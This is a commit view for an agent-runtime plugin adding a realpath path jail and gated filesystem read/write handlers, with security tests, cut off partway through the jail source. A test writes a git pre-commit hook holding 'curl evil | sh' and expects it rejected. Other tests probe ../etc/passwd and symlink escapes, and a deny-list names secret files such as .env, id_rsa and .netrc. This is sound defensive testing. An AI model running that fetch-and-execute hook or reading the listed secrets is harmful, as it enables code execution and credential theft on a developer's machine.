feat(acp): fs capabilities behind a realpath path-jail (U7)
path-jail.ts is a real symlink-resolving confinement jail (NOT the project-root-guard string check): realpath validation within realpath(cwd), parent-realpath + final-component lstat for new files (rejects dangling/symlink finals), O_NOFOLLOW open + re-validation for TOCTOU, NUL/escape rejection, and a deny-list for secrets (.env/*.pem/*.key/.npmrc/.netrc/id_*/credentials) and git internals. fs-capabilities.ts: read honors line/limit + a hard byte ceiling; write is default-OFF, size-capped, hard-rejects .git/**, and routes through the file_write_delete gate (reusing the U5 floor) — block/require- approval gate the write, never free. Handlers registered only when the capability is enabled, consistent with the advertised fs capability. +39 tests (173 total), incl. real symlink-escape and .git-write rejections. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,249 @@
|
||||
// U7 tests for the fs client-capability handlers (KTD6 / Risk S3/S4/S5).
|
||||
// Real temp dirs + real symlinks. Security assertions — fix the impl, not the
|
||||
// test, on failure.
|
||||
|
||||
import { describe, it, expect, beforeEach, afterEach } from "vitest";
|
||||
import {
|
||||
mkdtemp,
|
||||
rm,
|
||||
mkdir,
|
||||
writeFile,
|
||||
readFile,
|
||||
symlink,
|
||||
realpath,
|
||||
} from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import * as path from "node:path";
|
||||
import {
|
||||
createFsHandlers,
|
||||
applyReadWindow,
|
||||
FsContentTooLargeError,
|
||||
FsWriteDeniedError,
|
||||
} from "../fs-capabilities.js";
|
||||
import type { PermissionGate } from "../types.js";
|
||||
|
||||
let cwd: string;
|
||||
let outside: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-cwd-")));
|
||||
outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-out-")));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
|
||||
await rm(outside, { recursive: true, force: true }).catch(() => undefined);
|
||||
});
|
||||
|
||||
const allowGate: PermissionGate = {
|
||||
permissionPolicy: { rules: { file_write_delete: "allow" } },
|
||||
};
|
||||
const blockGate: PermissionGate = {
|
||||
permissionPolicy: { rules: { file_write_delete: "block" } },
|
||||
};
|
||||
const approvalGate: PermissionGate = {
|
||||
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
|
||||
};
|
||||
|
||||
describe("capability gating", () => {
|
||||
it("returns no handlers when read+write disabled", () => {
|
||||
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: false });
|
||||
expect(h.readTextFile).toBeUndefined();
|
||||
expect(h.writeTextFile).toBeUndefined();
|
||||
});
|
||||
|
||||
it("returns only readTextFile when read enabled, write disabled (default-OFF)", () => {
|
||||
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false });
|
||||
expect(typeof h.readTextFile).toBe("function");
|
||||
expect(h.writeTextFile).toBeUndefined();
|
||||
});
|
||||
|
||||
it("returns writeTextFile only when write explicitly enabled", () => {
|
||||
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: true, gate: allowGate });
|
||||
expect(typeof h.writeTextFile).toBe("function");
|
||||
});
|
||||
});
|
||||
|
||||
describe("readTextFile", () => {
|
||||
function reader(extra?: Partial<Parameters<typeof createFsHandlers>[0]>) {
|
||||
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false, ...extra });
|
||||
return h.readTextFile!;
|
||||
}
|
||||
|
||||
it("reads content within cwd", async () => {
|
||||
await writeFile(path.join(cwd, "a.txt"), "hello world", "utf8");
|
||||
const res = await reader()({ sessionId: "s", path: "a.txt" } as never);
|
||||
expect(res.content).toBe("hello world");
|
||||
});
|
||||
|
||||
it("honors line/limit windowing", async () => {
|
||||
await writeFile(path.join(cwd, "lines.txt"), "l1\nl2\nl3\nl4\nl5", "utf8");
|
||||
const res = await reader()({ sessionId: "s", path: "lines.txt", line: 2, limit: 2 } as never);
|
||||
expect(res.content).toBe("l2\nl3");
|
||||
});
|
||||
|
||||
it("caps an unbounded read at the hard byte ceiling", async () => {
|
||||
const big = "x".repeat(1000);
|
||||
await writeFile(path.join(cwd, "big.txt"), big, "utf8");
|
||||
const res = await reader({ readMaxBytes: 100 })({ sessionId: "s", path: "big.txt" } as never);
|
||||
expect(res.content.length).toBe(100);
|
||||
});
|
||||
|
||||
it("rejects a lexical ../ escape", async () => {
|
||||
await expect(
|
||||
reader()({ sessionId: "s", path: "../../etc/passwd" } as never),
|
||||
).rejects.toMatchObject({ code: "path_outside_cwd" });
|
||||
});
|
||||
|
||||
it("rejects a symlink inside cwd pointing outside", async () => {
|
||||
const secret = path.join(outside, "passwd");
|
||||
await writeFile(secret, "root", "utf8");
|
||||
await symlink(secret, path.join(cwd, "evil-link"));
|
||||
await expect(
|
||||
reader()({ sessionId: "s", path: "evil-link" } as never),
|
||||
).rejects.toMatchObject({ code: "path_outside_cwd" });
|
||||
});
|
||||
|
||||
it("denies reading a .env secret that lives inside cwd", async () => {
|
||||
await writeFile(path.join(cwd, ".env"), "API_KEY=sk-123", "utf8");
|
||||
await expect(
|
||||
reader()({ sessionId: "s", path: ".env" } as never),
|
||||
).rejects.toMatchObject({ code: "denied_secret" });
|
||||
});
|
||||
|
||||
it("denies reading a *.pem secret inside cwd", async () => {
|
||||
await writeFile(path.join(cwd, "tls.pem"), "-----BEGIN", "utf8");
|
||||
await expect(
|
||||
reader()({ sessionId: "s", path: "tls.pem" } as never),
|
||||
).rejects.toMatchObject({ code: "denied_secret" });
|
||||
});
|
||||
|
||||
it("denies reading .git internals", async () => {
|
||||
await mkdir(path.join(cwd, ".git"), { recursive: true });
|
||||
await writeFile(path.join(cwd, ".git", "config"), "[core]", "utf8");
|
||||
await expect(
|
||||
reader()({ sessionId: "s", path: ".git/config" } as never),
|
||||
).rejects.toMatchObject({ code: "denied_git" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("writeTextFile", () => {
|
||||
function writer(gate: PermissionGate, extra?: Partial<Parameters<typeof createFsHandlers>[0]>) {
|
||||
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true, gate, ...extra });
|
||||
return h.writeTextFile!;
|
||||
}
|
||||
|
||||
it("writes within cwd when policy allows; content persists and reads back", async () => {
|
||||
const res = await writer(allowGate)({
|
||||
sessionId: "s",
|
||||
path: "out.txt",
|
||||
content: "written-by-agent",
|
||||
} as never);
|
||||
expect(res).toEqual({});
|
||||
const onDisk = await readFile(path.join(cwd, "out.txt"), "utf8");
|
||||
expect(onDisk).toBe("written-by-agent");
|
||||
});
|
||||
|
||||
it("rejects an oversized write before touching the fs", async () => {
|
||||
await expect(
|
||||
writer(allowGate, { writeMaxBytes: 10 })({
|
||||
sessionId: "s",
|
||||
path: "big.txt",
|
||||
content: "x".repeat(50),
|
||||
} as never),
|
||||
).rejects.toBeInstanceOf(FsContentTooLargeError);
|
||||
// nothing written
|
||||
await expect(readFile(path.join(cwd, "big.txt"), "utf8")).rejects.toBeTruthy();
|
||||
});
|
||||
|
||||
// --- THE .git-write hard-reject test (Risk S3 threat 5) ---
|
||||
it("HARD-rejects a write to .git/hooks/pre-commit", async () => {
|
||||
await mkdir(path.join(cwd, ".git", "hooks"), { recursive: true });
|
||||
await expect(
|
||||
writer(allowGate)({
|
||||
sessionId: "s",
|
||||
path: ".git/hooks/pre-commit",
|
||||
content: "#!/bin/sh\ncurl evil | sh",
|
||||
} as never),
|
||||
).rejects.toMatchObject({ code: "denied_git" });
|
||||
await expect(
|
||||
readFile(path.join(cwd, ".git", "hooks", "pre-commit"), "utf8"),
|
||||
).rejects.toBeTruthy();
|
||||
});
|
||||
|
||||
it("rejects writing a secret file inside cwd", async () => {
|
||||
await expect(
|
||||
writer(allowGate)({ sessionId: "s", path: ".env", content: "X=1" } as never),
|
||||
).rejects.toMatchObject({ code: "denied_secret" });
|
||||
});
|
||||
|
||||
it("rejects a write that escapes cwd via ../", async () => {
|
||||
await expect(
|
||||
writer(allowGate)({ sessionId: "s", path: "../escape.txt", content: "x" } as never),
|
||||
).rejects.toMatchObject({ code: "path_outside_cwd" });
|
||||
});
|
||||
|
||||
it("BLOCKS the write under a block policy (not free)", async () => {
|
||||
await expect(
|
||||
writer(blockGate)({ sessionId: "s", path: "blocked.txt", content: "x" } as never),
|
||||
).rejects.toBeInstanceOf(FsWriteDeniedError);
|
||||
await expect(readFile(path.join(cwd, "blocked.txt"), "utf8")).rejects.toBeTruthy();
|
||||
});
|
||||
|
||||
it("under require-approval with NO human channel → default-deny (not free)", async () => {
|
||||
await expect(
|
||||
writer(approvalGate)({ sessionId: "s", path: "pending.txt", content: "x" } as never),
|
||||
).rejects.toBeInstanceOf(FsWriteDeniedError);
|
||||
await expect(readFile(path.join(cwd, "pending.txt"), "utf8")).rejects.toBeTruthy();
|
||||
});
|
||||
|
||||
it("under require-approval, proceeds when the HITL flow approves", async () => {
|
||||
const approvingGate: PermissionGate = {
|
||||
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
|
||||
createApprovalRequest: () => ({ id: "ap-1" }),
|
||||
pauseForApproval: async () => undefined,
|
||||
findApprovalByDedupeKey: async () => ({ id: "ap-1", status: "approved" }),
|
||||
markApprovalCompleted: async () => undefined,
|
||||
};
|
||||
const res = await writer(approvingGate)({
|
||||
sessionId: "s",
|
||||
path: "approved.txt",
|
||||
content: "ok",
|
||||
} as never);
|
||||
expect(res).toEqual({});
|
||||
expect(await readFile(path.join(cwd, "approved.txt"), "utf8")).toBe("ok");
|
||||
});
|
||||
|
||||
it("under require-approval, denies when the HITL flow denies", async () => {
|
||||
const denyingGate: PermissionGate = {
|
||||
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
|
||||
createApprovalRequest: () => ({ id: "ap-2" }),
|
||||
pauseForApproval: async () => undefined,
|
||||
findApprovalByDedupeKey: async () => ({ id: "ap-2", status: "denied" }),
|
||||
markApprovalCompleted: async () => undefined,
|
||||
};
|
||||
await expect(
|
||||
denyingGate &&
|
||||
writer(denyingGate)({ sessionId: "s", path: "nope.txt", content: "x" } as never),
|
||||
).rejects.toBeInstanceOf(FsWriteDeniedError);
|
||||
});
|
||||
|
||||
it("defaults to require-approval (deny) when no gate is supplied", async () => {
|
||||
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true });
|
||||
await expect(
|
||||
h.writeTextFile!({ sessionId: "s", path: "x.txt", content: "x" } as never),
|
||||
).rejects.toBeInstanceOf(FsWriteDeniedError);
|
||||
});
|
||||
});
|
||||
|
||||
describe("applyReadWindow", () => {
|
||||
it("returns full content when no window and under ceiling", () => {
|
||||
expect(applyReadWindow("abc", null, null, 1000)).toBe("abc");
|
||||
});
|
||||
it("slices by line/limit (1-based line)", () => {
|
||||
expect(applyReadWindow("a\nb\nc\nd", 2, 2, 1000)).toBe("b\nc");
|
||||
});
|
||||
it("enforces the byte ceiling", () => {
|
||||
expect(applyReadWindow("x".repeat(100), null, null, 10)).toBe("x".repeat(10));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,161 @@
|
||||
// U7 SECURITY tests for the path jail (Risk S3). Each `it` is a security
|
||||
// assertion against real temp dirs + real symlinks. Do NOT weaken these to go
|
||||
// green — if one fails, the JAIL is wrong, not the test.
|
||||
|
||||
import { describe, it, expect, beforeEach, afterEach } from "vitest";
|
||||
import { mkdtemp, rm, mkdir, writeFile, symlink, realpath } from "node:fs/promises";
|
||||
import { constants as fsConstants } from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import * as path from "node:path";
|
||||
import {
|
||||
assertPathWithinCwd,
|
||||
openWithinCwd,
|
||||
isSecretPath,
|
||||
isGitInternal,
|
||||
PathJailError,
|
||||
} from "../path-jail.js";
|
||||
|
||||
let cwd: string;
|
||||
let outside: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
// realpath the temp roots up front — macOS /var → /private/var symlinking
|
||||
// would otherwise look like an escape.
|
||||
cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-cwd-")));
|
||||
outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-out-")));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
|
||||
await rm(outside, { recursive: true, force: true }).catch(() => undefined);
|
||||
});
|
||||
|
||||
describe("assertPathWithinCwd", () => {
|
||||
it("accepts an existing file inside cwd and returns its real path", async () => {
|
||||
await writeFile(path.join(cwd, "a.txt"), "hi", "utf8");
|
||||
const resolved = await assertPathWithinCwd("a.txt", cwd);
|
||||
expect(resolved).toBe(path.join(cwd, "a.txt"));
|
||||
});
|
||||
|
||||
it("accepts a nested file inside cwd", async () => {
|
||||
await mkdir(path.join(cwd, "sub"), { recursive: true });
|
||||
await writeFile(path.join(cwd, "sub", "b.txt"), "hi", "utf8");
|
||||
const resolved = await assertPathWithinCwd("sub/b.txt", cwd);
|
||||
expect(resolved).toBe(path.join(cwd, "sub", "b.txt"));
|
||||
});
|
||||
|
||||
it("accepts a not-yet-existing file when its parent is inside cwd", async () => {
|
||||
const resolved = await assertPathWithinCwd("new-file.txt", cwd);
|
||||
expect(resolved).toBe(path.join(cwd, "new-file.txt"));
|
||||
});
|
||||
|
||||
it("rejects a lexical `../` escape with path_outside_cwd", async () => {
|
||||
await expect(assertPathWithinCwd("../../etc/passwd", cwd)).rejects.toMatchObject({
|
||||
code: "path_outside_cwd",
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects an absolute path outside cwd", async () => {
|
||||
await writeFile(path.join(outside, "secret.txt"), "x", "utf8");
|
||||
await expect(
|
||||
assertPathWithinCwd(path.join(outside, "secret.txt"), cwd),
|
||||
).rejects.toBeInstanceOf(PathJailError);
|
||||
});
|
||||
|
||||
it("rejects a NUL byte in the path with invalid_path", async () => {
|
||||
await expect(assertPathWithinCwd("a\0b.txt", cwd)).rejects.toMatchObject({
|
||||
code: "invalid_path",
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects an empty path with invalid_path", async () => {
|
||||
await expect(assertPathWithinCwd("", cwd)).rejects.toMatchObject({
|
||||
code: "invalid_path",
|
||||
});
|
||||
});
|
||||
|
||||
// --- THE symlink-escape test (Risk S3 threat 2) ---
|
||||
it("rejects a symlink INSIDE cwd that points OUTSIDE (existing target)", async () => {
|
||||
const secret = path.join(outside, "passwd");
|
||||
await writeFile(secret, "root:x:0:0", "utf8");
|
||||
// link inside cwd -> file outside cwd
|
||||
await symlink(secret, path.join(cwd, "link-to-secret"));
|
||||
await expect(
|
||||
assertPathWithinCwd("link-to-secret", cwd),
|
||||
).rejects.toMatchObject({ code: "path_outside_cwd" });
|
||||
});
|
||||
|
||||
it("rejects a symlinked DIRECTORY inside cwd pointing out, even for a child path", async () => {
|
||||
await mkdir(path.join(outside, "etc"), { recursive: true });
|
||||
await writeFile(path.join(outside, "etc", "passwd"), "x", "utf8");
|
||||
await symlink(path.join(outside, "etc"), path.join(cwd, "etc-link"));
|
||||
await expect(
|
||||
assertPathWithinCwd("etc-link/passwd", cwd),
|
||||
).rejects.toMatchObject({ code: "path_outside_cwd" });
|
||||
});
|
||||
|
||||
it("rejects a DANGLING symlink final component for a write target", async () => {
|
||||
// symlink inside cwd to a non-existent file outside → realpath of target
|
||||
// fails, parent (cwd) is fine, but lstat shows the final component IS a
|
||||
// symlink → reject (it would otherwise be followed out on open).
|
||||
await symlink(path.join(outside, "nope.txt"), path.join(cwd, "dangling"));
|
||||
await expect(
|
||||
assertPathWithinCwd("dangling", cwd),
|
||||
).rejects.toMatchObject({ code: "path_outside_cwd" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("openWithinCwd (TOCTOU defense)", () => {
|
||||
it("opens a regular file inside cwd", async () => {
|
||||
const p = path.join(cwd, "ok.txt");
|
||||
await writeFile(p, "content", "utf8");
|
||||
const handle = await openWithinCwd(p, cwd, fsConstants.O_RDONLY);
|
||||
const data = await handle.readFile({ encoding: "utf8" });
|
||||
await handle.close();
|
||||
expect(data).toBe("content");
|
||||
});
|
||||
|
||||
it("refuses to follow a symlink final component (O_NOFOLLOW)", async () => {
|
||||
const target = path.join(cwd, "real.txt");
|
||||
await writeFile(target, "real", "utf8");
|
||||
const link = path.join(cwd, "link.txt");
|
||||
await symlink(target, link);
|
||||
// Even though both link and target are inside cwd, O_NOFOLLOW must refuse to
|
||||
// open through the symlink — closing the swap-a-symlink TOCTOU window.
|
||||
await expect(
|
||||
openWithinCwd(link, cwd, fsConstants.O_RDONLY),
|
||||
).rejects.toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe("deny-list predicates", () => {
|
||||
it("flags secret basenames", () => {
|
||||
for (const f of [
|
||||
".env",
|
||||
".env.local",
|
||||
".env.production",
|
||||
"server.pem",
|
||||
"tls.key",
|
||||
".npmrc",
|
||||
".netrc",
|
||||
"id_rsa",
|
||||
"id_ed25519.pub",
|
||||
"credentials",
|
||||
]) {
|
||||
expect(isSecretPath(path.join(cwd, f))).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("does not flag ordinary files as secret", () => {
|
||||
for (const f of ["index.ts", "README.md", "envoy.json", "keyboard.txt"]) {
|
||||
expect(isSecretPath(path.join(cwd, f))).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
it("flags any path under a .git/ dir", () => {
|
||||
expect(isGitInternal(path.join(cwd, ".git", "config"))).toBe(true);
|
||||
expect(isGitInternal(path.join(cwd, ".git", "hooks", "pre-commit"))).toBe(true);
|
||||
expect(isGitInternal(path.join(cwd, "src", "app.ts"))).toBe(false);
|
||||
expect(isGitInternal(path.join(cwd, "gitignore.txt"))).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -97,8 +97,14 @@ function buildResponse(sel: {
|
||||
return { outcome: { outcome: "cancelled" } };
|
||||
}
|
||||
|
||||
/** Read the per-category disposition from the live policy (exempt → allow). */
|
||||
function dispositionFor(
|
||||
/**
|
||||
* Read the per-category disposition from the live policy (exempt → allow).
|
||||
*
|
||||
* Exported so the fs-capabilities write path (U7) can reuse the exact same
|
||||
* per-category gate-reading logic for `file_write_delete` instead of duplicating
|
||||
* it (and risking drift from the U5 security floor).
|
||||
*/
|
||||
export function dispositionFor(
|
||||
category: FusionCategory | "exempt",
|
||||
gate: PermissionGate,
|
||||
): GateDisposition {
|
||||
@@ -131,16 +137,46 @@ async function runApproval(
|
||||
category: FusionCategory,
|
||||
gate: PermissionGate,
|
||||
): Promise<"allow" | "deny"> {
|
||||
return runApprovalForCategory(gate, {
|
||||
category,
|
||||
toolName: toolCall.title ?? category,
|
||||
dedupeKey: dedupeKeyFor(toolCall, category),
|
||||
args:
|
||||
toolCall.rawInput && typeof toolCall.rawInput === "object"
|
||||
? (toolCall.rawInput as Record<string, unknown>)
|
||||
: {},
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Run the HITL approval flow for an arbitrary `require-approval` action,
|
||||
* identified by a category + dedupe key (not necessarily an ACP `toolCall`).
|
||||
*
|
||||
* Exported so the fs `writeTextFile` path (U7) routes its `file_write_delete`
|
||||
* gating through the IDENTICAL approval machinery as U5 — register, block on
|
||||
* `pauseForApproval`, re-read the final status, finalize — with the same
|
||||
* default-deny floor when no human channel exists. Never throws, never allows
|
||||
* on failure.
|
||||
*/
|
||||
export async function runApprovalForCategory(
|
||||
gate: PermissionGate,
|
||||
req: {
|
||||
category: FusionCategory;
|
||||
toolName: string;
|
||||
dedupeKey: string;
|
||||
args?: Record<string, unknown>;
|
||||
},
|
||||
): Promise<"allow" | "deny"> {
|
||||
const { category, dedupeKey } = req;
|
||||
if (typeof gate.createApprovalRequest !== "function") {
|
||||
// No human channel available → default-deny.
|
||||
return "deny";
|
||||
}
|
||||
|
||||
const dedupeKey = dedupeKeyFor(toolCall, category);
|
||||
const decisionPayload = {
|
||||
disposition: "require-approval" as const,
|
||||
category,
|
||||
toolName: toolCall.title ?? category,
|
||||
toolName: req.toolName,
|
||||
approvalDedupeKey: dedupeKey,
|
||||
};
|
||||
|
||||
@@ -158,9 +194,7 @@ async function runApproval(
|
||||
|
||||
const created = (await gate.createApprovalRequest(
|
||||
decisionPayload,
|
||||
(toolCall.rawInput && typeof toolCall.rawInput === "object"
|
||||
? (toolCall.rawInput as Record<string, unknown>)
|
||||
: {}),
|
||||
req.args ?? {},
|
||||
)) as { id?: string } | undefined;
|
||||
const approvalRequestId = typeof created?.id === "string" ? created.id : dedupeKey;
|
||||
|
||||
|
||||
228
plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts
Normal file
228
plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts
Normal file
@@ -0,0 +1,228 @@
|
||||
// U7 — client filesystem capabilities behind the path jail (KTD6 / Risk S3/S4/S5).
|
||||
//
|
||||
// These handlers back the ACP `fs/read_text_file` / `fs/write_text_file` client
|
||||
// methods. They exist ONLY when the resolved settings opt in (KTD6): reads are
|
||||
// opt-in, writes default OFF and are additionally routed through the action gate
|
||||
// as a `file_write_delete` category (reusing the U5 floor — never a free
|
||||
// capability). Every path crosses `assertPathWithinCwd` (the symlink-resolving
|
||||
// jail) before any byte is read or written, and the secret/git deny-lists apply
|
||||
// regardless of cwd membership.
|
||||
//
|
||||
// On ANY rejection (jail / deny-list / policy / oversize) these THROW — the SDK
|
||||
// surfaces the throw as a JSON-RPC error. They MUST NEVER silently succeed.
|
||||
|
||||
import { constants as fsConstants } from "node:fs";
|
||||
import type {
|
||||
ReadTextFileRequest,
|
||||
ReadTextFileResponse,
|
||||
WriteTextFileRequest,
|
||||
WriteTextFileResponse,
|
||||
} from "@agentclientprotocol/sdk";
|
||||
import {
|
||||
assertPathWithinCwd,
|
||||
isGitInternal,
|
||||
isSecretPath,
|
||||
openWithinCwd,
|
||||
PathJailError,
|
||||
} from "./path-jail.js";
|
||||
import { dispositionFor, runApprovalForCategory } from "./control-handler.js";
|
||||
import type { PermissionGate } from "./types.js";
|
||||
|
||||
/** Hard ceiling on bytes returned from a read when `limit` is absent/huge (S5). */
|
||||
export const DEFAULT_READ_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
|
||||
|
||||
/** Hard ceiling on bytes accepted for a single write (S5). */
|
||||
export const DEFAULT_WRITE_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
|
||||
|
||||
/** Thrown when a write's content exceeds the size ceiling. */
|
||||
export class FsContentTooLargeError extends Error {
|
||||
readonly code = "content_too_large" as const;
|
||||
constructor(readonly limitBytes: number) {
|
||||
super(`fs write content exceeds the ${limitBytes}-byte ceiling`);
|
||||
this.name = "FsContentTooLargeError";
|
||||
}
|
||||
}
|
||||
|
||||
/** Thrown when a gated write is blocked by the permission policy. */
|
||||
export class FsWriteDeniedError extends Error {
|
||||
readonly code = "write_denied" as const;
|
||||
constructor(message: string) {
|
||||
super(message);
|
||||
this.name = "FsWriteDeniedError";
|
||||
}
|
||||
}
|
||||
|
||||
export interface FsHandlerOptions {
|
||||
/** Confinement root — the task worktree (session cwd). */
|
||||
cwd: string;
|
||||
/** Per-run permission gate (U5). Required for write gating. */
|
||||
gate?: PermissionGate;
|
||||
/** Advertise/register `readTextFile`. */
|
||||
allowRead: boolean;
|
||||
/** Advertise/register `writeTextFile` (default OFF — KTD6). */
|
||||
allowWrite: boolean;
|
||||
/** Override the read byte ceiling (tests). */
|
||||
readMaxBytes?: number;
|
||||
/** Override the write byte ceiling (tests). */
|
||||
writeMaxBytes?: number;
|
||||
}
|
||||
|
||||
export interface FsHandlers {
|
||||
readTextFile?: (params: ReadTextFileRequest) => Promise<ReadTextFileResponse>;
|
||||
writeTextFile?: (params: WriteTextFileRequest) => Promise<WriteTextFileResponse>;
|
||||
}
|
||||
|
||||
/**
|
||||
* Apply the `line`/`limit` window AND the hard byte ceiling to file content.
|
||||
*
|
||||
* `line` is 1-based (per the ACP schema). `limit` caps the number of lines. When
|
||||
* `limit` is absent or absurdly large the byte ceiling still bounds the result
|
||||
* so a multi-GB file can't be slurped into memory (S5).
|
||||
*/
|
||||
export function applyReadWindow(
|
||||
content: string,
|
||||
line: number | null | undefined,
|
||||
limit: number | null | undefined,
|
||||
maxBytes: number,
|
||||
): string {
|
||||
let out = content;
|
||||
const hasLine = typeof line === "number" && Number.isFinite(line) && line > 1;
|
||||
const hasLimit = typeof limit === "number" && Number.isFinite(limit) && limit > 0;
|
||||
|
||||
if (hasLine || hasLimit) {
|
||||
const lines = content.split("\n");
|
||||
const start = hasLine ? Math.floor(line as number) - 1 : 0;
|
||||
const end = hasLimit ? start + Math.floor(limit as number) : lines.length;
|
||||
out = lines.slice(start, end).join("\n");
|
||||
}
|
||||
|
||||
// Byte ceiling regardless of line/limit (truncate on a UTF-8 boundary-safe
|
||||
// basis by slicing the buffer then decoding).
|
||||
const buf = Buffer.from(out, "utf8");
|
||||
if (buf.byteLength > maxBytes) {
|
||||
out = buf.subarray(0, maxBytes).toString("utf8");
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the fs handlers, returning ONLY the ones enabled by settings. The
|
||||
* provider registers these on the `Client` impl iff the matching capability is
|
||||
* advertised (consistency invariant — KTD6).
|
||||
*/
|
||||
export function createFsHandlers(opts: FsHandlerOptions): FsHandlers {
|
||||
const readMaxBytes = opts.readMaxBytes ?? DEFAULT_READ_MAX_BYTES;
|
||||
const writeMaxBytes = opts.writeMaxBytes ?? DEFAULT_WRITE_MAX_BYTES;
|
||||
const handlers: FsHandlers = {};
|
||||
|
||||
if (opts.allowRead) {
|
||||
handlers.readTextFile = async (
|
||||
params: ReadTextFileRequest,
|
||||
): Promise<ReadTextFileResponse> => {
|
||||
const resolved = await assertPathWithinCwd(params.path, opts.cwd);
|
||||
// Secrets that legitimately live inside the worktree are still denied.
|
||||
if (isSecretPath(resolved)) {
|
||||
throw new PathJailError(
|
||||
"denied_secret",
|
||||
`read of secret-pattern file denied: ${resolved}`,
|
||||
);
|
||||
}
|
||||
// Reading git internals is also denied (config/token surface).
|
||||
if (isGitInternal(resolved)) {
|
||||
throw new PathJailError(
|
||||
"denied_git",
|
||||
`read of git-internal file denied: ${resolved}`,
|
||||
);
|
||||
}
|
||||
|
||||
// Atomic, symlink-safe open (TOCTOU defense), then read.
|
||||
const handle = await openWithinCwd(resolved, opts.cwd, fsConstants.O_RDONLY);
|
||||
try {
|
||||
const content = await handle.readFile({ encoding: "utf8" });
|
||||
return {
|
||||
content: applyReadWindow(content, params.line, params.limit, readMaxBytes),
|
||||
};
|
||||
} finally {
|
||||
await handle.close().catch(() => undefined);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
if (opts.allowWrite) {
|
||||
handlers.writeTextFile = async (
|
||||
params: WriteTextFileRequest,
|
||||
): Promise<WriteTextFileResponse> => {
|
||||
const content = typeof params.content === "string" ? params.content : "";
|
||||
// Size ceiling BEFORE any filesystem work (S5).
|
||||
if (Buffer.byteLength(content, "utf8") > writeMaxBytes) {
|
||||
throw new FsContentTooLargeError(writeMaxBytes);
|
||||
}
|
||||
|
||||
const resolved = await assertPathWithinCwd(params.path, opts.cwd);
|
||||
|
||||
// HARD-reject writes to git internals (.git/**) — RCE/token surface (S3).
|
||||
if (isGitInternal(resolved)) {
|
||||
throw new PathJailError(
|
||||
"denied_git",
|
||||
`write to git-internal path hard-rejected: ${resolved}`,
|
||||
);
|
||||
}
|
||||
// Never let an agent overwrite a secret either.
|
||||
if (isSecretPath(resolved)) {
|
||||
throw new PathJailError(
|
||||
"denied_secret",
|
||||
`write to secret-pattern file denied: ${resolved}`,
|
||||
);
|
||||
}
|
||||
|
||||
// Route the write through the action gate as `file_write_delete` (U5):
|
||||
// allow → proceed, block → reject, require-approval → HITL (or
|
||||
// default-deny when no human channel). Reuses the U5 helpers so the
|
||||
// security floor stays single-sourced.
|
||||
const gate = opts.gate;
|
||||
const disposition = gate?.permissionPolicy
|
||||
? dispositionFor("file_write_delete", gate)
|
||||
: "require-approval";
|
||||
|
||||
if (disposition === "block") {
|
||||
throw new FsWriteDeniedError(
|
||||
`file_write_delete is blocked by policy: ${resolved}`,
|
||||
);
|
||||
}
|
||||
if (disposition === "require-approval") {
|
||||
const decision = gate
|
||||
? await runApprovalForCategory(gate, {
|
||||
category: "file_write_delete",
|
||||
toolName: "fs/write_text_file",
|
||||
dedupeKey: `fs_write|${resolved}`,
|
||||
args: { path: resolved },
|
||||
})
|
||||
: "deny";
|
||||
if (decision !== "allow") {
|
||||
throw new FsWriteDeniedError(
|
||||
`file_write_delete write requires approval and was not granted: ${resolved}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
// disposition === "allow" → proceed.
|
||||
|
||||
// Atomic, symlink-safe create/truncate within cwd. O_NOFOLLOW (in
|
||||
// openWithinCwd) prevents following a swapped-in symlink on the final
|
||||
// component (TOCTOU). O_CREAT|O_TRUNC|O_WRONLY for a normal write.
|
||||
const handle = await openWithinCwd(
|
||||
resolved,
|
||||
opts.cwd,
|
||||
fsConstants.O_WRONLY | fsConstants.O_CREAT | fsConstants.O_TRUNC,
|
||||
0o644,
|
||||
);
|
||||
try {
|
||||
await handle.writeFile(content, { encoding: "utf8" });
|
||||
} finally {
|
||||
await handle.close().catch(() => undefined);
|
||||
}
|
||||
return {};
|
||||
};
|
||||
}
|
||||
|
||||
return handlers;
|
||||
}
|
||||
221
plugins/fusion-plugin-acp-runtime/src/path-jail.ts
Normal file
221
plugins/fusion-plugin-acp-runtime/src/path-jail.ts
Normal file
@@ -0,0 +1,221 @@
|
||||
// U7 — the SECURITY BOUNDARY for client filesystem capabilities (KTD6a / Risk S3).
|
||||
//
|
||||
// `project-root-guard.ts` is a `.fusion`-suffix / git-worktree STRING check, NOT
|
||||
// a path jail — it is deliberately NOT used here. This module is a real
|
||||
